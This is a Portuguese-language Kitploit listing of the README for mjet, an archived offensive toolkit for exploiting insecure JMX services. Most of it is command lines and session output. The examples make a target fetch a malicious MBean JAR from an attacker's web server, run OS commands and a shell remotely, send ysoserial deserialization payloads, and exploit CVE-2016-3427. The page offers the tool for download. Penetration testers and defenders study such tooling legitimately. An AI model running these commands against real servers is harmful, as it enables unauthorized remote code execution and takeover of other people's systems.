Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
mjet — Kit de ferramentas de exploração JMX da MOGWAI LABS | Kitploit
Ferramentas/GitHubGitHub/mogwailabs/mjet
Geração de PayloadsExploraçãoPós-ExploraçãoTestes de PenetraçãoRed TeamingFerramenta de Acesso RemotoArchived
GitHubmogwailabs/mjet

mjet

Kit de ferramentas de exploração JMX da MOGWAI LABS

Ver Repositório
20547há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

MJET por MOGWAI LABS

MOGWAI LABS Kit de Exploração JMX (JMX Exploitation Toolkit)

MJET é um fork do sjet, que foi desenvolvido pela siberas, mas não é mais mantido ativamente. O MJET é mantido pela equipe MOGWAI LABS, que também forneceu a maior parte do código original do sjet.

O MJET permite explorar facilmente serviços JMX configurados de forma insegura. Informações adicionais de contexto podem ser encontradas aqui e aqui.

!!! Importante: Este projeto não é mais mantido

Este repositório não é mais mantido ativamente. Recomendamos usar o qtcs beanshooter em seu lugar.

Pré-requisitos

  • Jython 2.7
  • Ysoserial (para explorar vulnerabilidades de desserialização via JMX)
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar (para suportar o Protocolo de Mensagem JMX alternativo (JMXMP))

Uso

O MJET implementa uma interface de linha de comando (usando argparse):

root@kitploit:~
jython mjet.py targetHost targetPort MODE password (modeOptions)

Onde

  • targetHost - o endereço IP do alvo
  • targetPort - a porta do alvo onde o JMX está em execução
  • MODE - o modo do script
  • modeOptions - as opções para o modo selecionado

Suporte a autenticação (se a autenticação JMX estiver habilitada):

  • --jmxrole - o nome de usuário
  • --jmxpassword - a senha

Outros argumentos opcionais:

  • --jmxmp - Usa JMX-MP (requer carregar um JAR adicional)
  • --localhost_bypass - porta de serviço para o proxy no bypass de localhost
  • --shell - Usa o shell definido
  • --rmiObjectName - nome RMI do endpoint JMX

Modos e opções de modo

  • install - instala o payload no alvo atual
    • password - a senha que deve ser definida após a instalação bem-sucedida
    • payload_url - URL completa para carregar o payload
    • payload_port - porta para carregar o payload
  • uninstall - desinstala o payload do alvo atual
  • changepw - altera a senha em um payload já implantado
    • password - a senha para acessar o MBean instalado
    • newpass - a nova senha
  • command - executa o comando CMD no targetHost
    • password - a senha para acessar o MBean instalado
    • CMD - o comando a ser executado
  • shell - inicia um shell simples no targetHost (com as limitações do Runtime.exec() do java)
    • password - a senha para acessar o MBean instalado
  • javascript - executa um arquivo javascript FILENAME no targetHost
    • password - a senha para acessar o MBean instalado
    • FILENAME - o javascript a ser executado
  • deserialize - envia um payload ysoserial para o alvo
    • gadget - gadget conforme fornecido pelo ysoserial, ex.: CommonsCollections6
    • cmd - comando a ser executado
  • webserver - apenas executa o servidor web MLET
    • payload_url - URL completa para carregar o payload
    • payload_port - porta para carregar o payload

Exemplos

Instalando o payload MBean em um serviço JMX vulnerável

No exemplo a seguir, o serviço JMX vulnerável roda em 10.165.188.23 porta 2222, o atacante tem o endereço IP 10.165.188.1. O serviço JMX se conectará ao serviço web do atacante para baixar o arquivo jar do payload. O MJET iniciará o serviço web necessário na porta 8000.

Após a instalação bem-sucedida do MBean, a senha padrão é alterada para a senha fornecida na linha de comando ("super_secret").

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Instalação com credenciais JMX (também precisa de uma configuração fraca do servidor):

root@kitploit:~
h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

Executando o comando 'ls -la' em um alvo Linux:

Após a instalação do payload, podemos usá-lo para executar comandos do sistema operacional no alvo.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

Executando no modo shell

Se você não quiser carregar Java para cada comando, pode usar o "modo shell" para obter um shell de comandos limitado.

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet> 

Invocar um payload JavaScript em um alvo:

O script de exemplo "javaproperties.js" exibe as propriedades Java do serviço vulnerável. Ele pode ser invocado da seguinte forma:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

Alterar a senha

Altera a senha existente ("super_secret") para "this-is-the-new-password":

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Desinstalar o payload MBean do alvo

Desinstala o payload MBean 'MogwaiLabs' do alvo:

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done

Explorar a desserialização Java com ysoserial

Explore a desserialização Java com ysoserial no alvo: O arquivo ysoserial.jar deve estar presente no diretório do MJET. Você pode selecionar qualquer payload ysoserial, de forma semelhante às chamadas ysoserial originais.

Esse ataque funciona mesmo se a autenticação JMX estiver habilitada e o usuário tiver permissões "readonly".

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py --jmxrole user --jmxpassword userpassword 10.165.188.23 2222 deserialize CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Using credentials: user / userpassword
[+] Connected: rmi://10.165.188.1 user 21
[+] Loaded sun.management.ManagementFactoryHelper$PlatformLoggingImpl
[+] Passing ysoserial object as parameter to getLoggerLevel(String loglevel)
[+] Got an access denied exception - this is expected

[+] Done

Explorar CVE-2016-3427: autenticação JMX com desserialização Java

Explore o CVE-2016-3427 com ysoserial: O arquivo ysoserial.jar deve estar presente no diretório MJET/jar. Você pode selecionar qualquer payload ysoserial, de forma semelhante às chamadas ysoserial originais.

root@kitploit:~
$ java -jar jython.jar mjet.py 127.0.0.1 9999 cve-2016-3427 CommonsCollections6 "touch /tmp/xxx"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Added ysoserial API capacities
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi
[+] Object was deserialized, target could be vulnerable
[?]: Returned error:
(<type 'java.lang.SecurityException'>, java.lang.SecurityException: Authentication failed! Credentials should be String[] instead of java.util.HashSet, <traceback object at 0x2>)
[+] Done

Referência: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3427

Modo somente servidor web

Também é possível apenas executar o servidor web que fornece o código MLET e o arquivo JAR com o payload MBean

root@kitploit:~
h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 webserver http:/xxxx/xxxx 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Press Enter to stop the service

Suporte ao protocolo de mensagens JMX (JMXMP)

Baixe opendmk_jmxremote_optional_jar-1.0-b01-ea.jar e mova-o para o diretório jars. Você precisa adicionar esse diretório ao classpath via java -cp.

root@kitploit:~
java -cp "jython.jar:jars/*" org.python.util.jython mjet.py shell mypass

Bypass de localhost

Às vezes acontece de o registro RMI expor um RemoteObject que só é acessível em localhost (exemplo @127.0.0.1:45401). No entanto, a porta está aberta onde o RemoteObject é acessível pela rede.

root@kitploit:~
$ nmap -sVC 172.17.0.2 -p 9999,45401

Starting Nmap 7.60 ( https://nmap.org ) at 2020-03-24 16:48 CET
Nmap scan report for 172.17.0.2
Host is up (0.00035s latency).

PORT      STATE SERVICE     VERSION
9999/tcp  open  java-rmi    Java RMI Registry
| rmi-dumpregistry: 
|   jmxrmi
|      implements javax.management.remote.rmi.RMIServer, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:45401
|             extends
|_              java.rmi.server.RemoteObject
45401/tcp open  rmiregistry Java RMI

Ainda é possível explorar esse serviço usando a opção --localhost_bypass <PORT>. No exemplo a seguir, usamos a porta 45401. Isso iniciará um proxy TCP em localhost e encaminhará o tráfego para o targetHost na porta fornecida.

root@kitploit:~
$ jython mjet.py --localhost_bypass 45401 172.17.0.2 9999 install mypass http://172.17.0.1:6666 6666

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 6666
[+] Using JMX RMI
[+] Connecting to: service:jmx:rmi:///jndi/rmi://172.17.0.2:9999/jmxrmi
[+] Started localhost proxy on port 45401
[+] Connected: rmi://172.17.0.1  17
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://172.17.0.1:6666
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
172.17.0.2 - - [24/Mar/2020 18:07:01] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

Nome de objeto RMI personalizado

Às vezes acontece de o nome do objeto RMI do endpoint JMX não ser jmxrmi; nesse caso, o parâmetro --rmiObjectName pode ser usado para especificar o nome apropriado do objeto RMI, por exemplo --rmiObjectName=customJmxRmi.

root@kitploit:~
$ jython mjet.py --rmiObjectName=customJmxRmi 172.17.0.2 2222 super_secret install http://172.17.0.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/customJmxRmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
$  

Usando um shell definido pelo usuário

Às vezes acontece de o sistema alvo não fornecer um shell /bin/bash ou cmd.exe. Nesse caso, o parâmetro opcional --shell pode ser especificado, por exemplo --shell="bash -c". Ao executar o javascript javaproperties.js com mjet.py, mais detalhes sobre o ambiente são fornecidos.

root@kitploit:~
$ jython mjet.py --shell="bash -c" 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
$

Referência: https://www.optiv.com/blog/exploiting-jmx-rmi

Docker

Construa e execute a imagem docker

root@kitploit:~
# Build
docker build -t mjet .
# Run Help
docker run mjet
# Exploit example
docker run mjet 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000
# Run Interactive into shell
docker run --entrypoint /bin/sh -it mjet

Por padrão, a imagem docker expõe a porta 8000 para o servidor HTTP. Se você precisar de outra porta, lembre-se de expô-la!

Contribuindo

Sinta-se à vontade para contribuir.

Autores

  • Hans-Martin Münch - Ideia e trabalho inicial - h0ng10
  • Patricio Reller - CLI e opções extras - preller
  • Ben Campbell - Várias melhorias - Meatballs1
  • Arnim Rupp - Suporte a autenticação
  • Sebastian Kindler - Suporte a desserialização
  • Karsten Zeides - Suporte ao Protocolo de Mensagens JMX, bypass de localhost zeides
  • g60ocR - Arquivo Docker g60ocR
  • Morn98 - Seleção de shell e RMI Morn98)

Veja também a lista de contribuidores que participaram deste projeto.

Licença

Este projeto é licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.

Baixar ferramenta